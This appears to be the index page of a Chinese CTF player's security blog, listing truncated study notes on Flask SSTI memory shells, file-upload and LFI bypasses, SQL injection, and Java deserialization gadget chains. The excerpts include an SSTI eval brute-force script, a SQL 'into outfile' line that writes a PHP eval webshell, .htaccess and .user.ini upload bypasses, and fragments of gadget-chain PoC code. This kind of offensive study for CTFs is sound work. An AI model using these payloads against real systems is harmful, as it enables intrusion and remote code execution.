大家好啊我叫ivory
主业是打ctf,学习网安知识: 有人问我:“你是ctfer吗”我觉得我是 副业偶尔搞搞各种各样的开发例如qqbot: 目前属于Syclover安全技术小组的新芽组希望能继续跟大家一起学习进步
flask_ssti内存马
flask_ssti内存马https://www.cnblogs.com/gxngxngxn/p/18181936这里的内存不是二进制那些高深的概念就是改变某些在请求过程中,会起到作用的属性和方法,从而达到我们的目的写内存马的前提不同于文件马需要实现的是代码执行而不是文件读写 利用脚本找出ssti中存在的evalimport requestsurl = "http://127.0.0.1:5000?name="for i in range(0,400): payload="{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__.__builtins__.eval('print(0)')}}" response = requests.get(url=url+payload) if response.status_code == 200: ...
Upload_LFI补课
upload_lab补测常见绕过 前端拦截 前端都是纸老虎简单的话就使用console修改前端js实现复杂的话就上传一个正常文件,然后修改流量包 MIME类型判断 例如限制了 Content-Type: image/png 那么直接在上传木马时修改成对应的即可不会影响文件的使用 黑名单(过滤不全) 那么可以解析为php的文件后缀有很多常见的: php,php3,php4,php5,phtml 黑名单(过滤全木马) 上传.htaccess文件可以让更多的文件类型解析为php示例: <Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted</Directory> 上传.user.ini文件 auto_prepend_file=test.txt 文件名处理逻辑 加点,加空格,双写,0x00阶段不重复写了 LFIphp...
sql注入补课
SQL补课文章来自友链kirakiraayu自己对着重新抄写学习了一遍 读写文件 读文件使用load_file()函数select load_file("E:\\flag.txt"); 写文件使用into outfileselect 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php"; 报错注入 xpath报错注入(extractvalue和updatexml) updatexml() extractvalue() 当这两个函数在执行时,如果出现xml文档路径错误就会产生报错 updatexml()函数 updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。 作用:改变文档中符合条件的节点的值 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc...
d3ctf复现
d3model审源码项目依赖的版本: keras==3.8.0flasktensorflow 源码: import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return Trueapp = Flask(__name__)@app.route('/', methods=['GET'])def index(): return open('index.html').read()@app.route('/upload', methods=['POST'])def upload_file(): if 'file' not in request.files: ...
java链子分析—CommonsBeanutils1
不是ccb是CommonsBeanutils 上一篇学习了CC2中的java.util.PriorityQueue这个类会进行重排序操作触发比较CB1链子的出现是为了找到另一个能够利用的比较器(除触发翻译链外) JavaBean属性的封装完全符合标准的类叫JavaBean例如: public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } public boolean isChild() { ...
java链子分析—CommonsCollections2
CC2Apache Commons Collections 3.2.1 或 4.0(未修复版本)JDK ≤ 8u71(高版本JDK需结合其他入口类绕过) 依赖<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies> POCpackage org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import...
java链子分析—Shiro
Shiro反序列化在CC3的链子中使用了Templateslmpl加载任意恶意类可以执行任意java代码 它与CC6链子的区别就像php中call_user_func与eval的区别一样造成任意代码执行的eval显然具有更高的价值 shiro框架的漏洞在rememberme的自动登录上会存一段aes加密的数据在浏览器中,再次访问时通过cookie携带到达后端后反序列化以加载用户数据而这个aes加密有一个默认的Key那么就可以攻击不修改Key的网站 Shiro链子import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import...
java反序列化payload生成器(持续更新)
利用lazymap将翻译器链转换为可反序列化触发的payload package org.example;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class TurnChainToPayload { private static final TurnChainToPayload INSTANCE = new TurnChainToPayload(); private TurnChainToPayload() {} public static...
java链子分析—CommonsCollections3
利用TemplatesImpl的任意恶意类加载demo上一篇中学习了利用TemplatesImpl加载类: package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class TemplatesImplExample { public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("base64字节码"); TemplatesImpl obj = new TemplatesImpl();...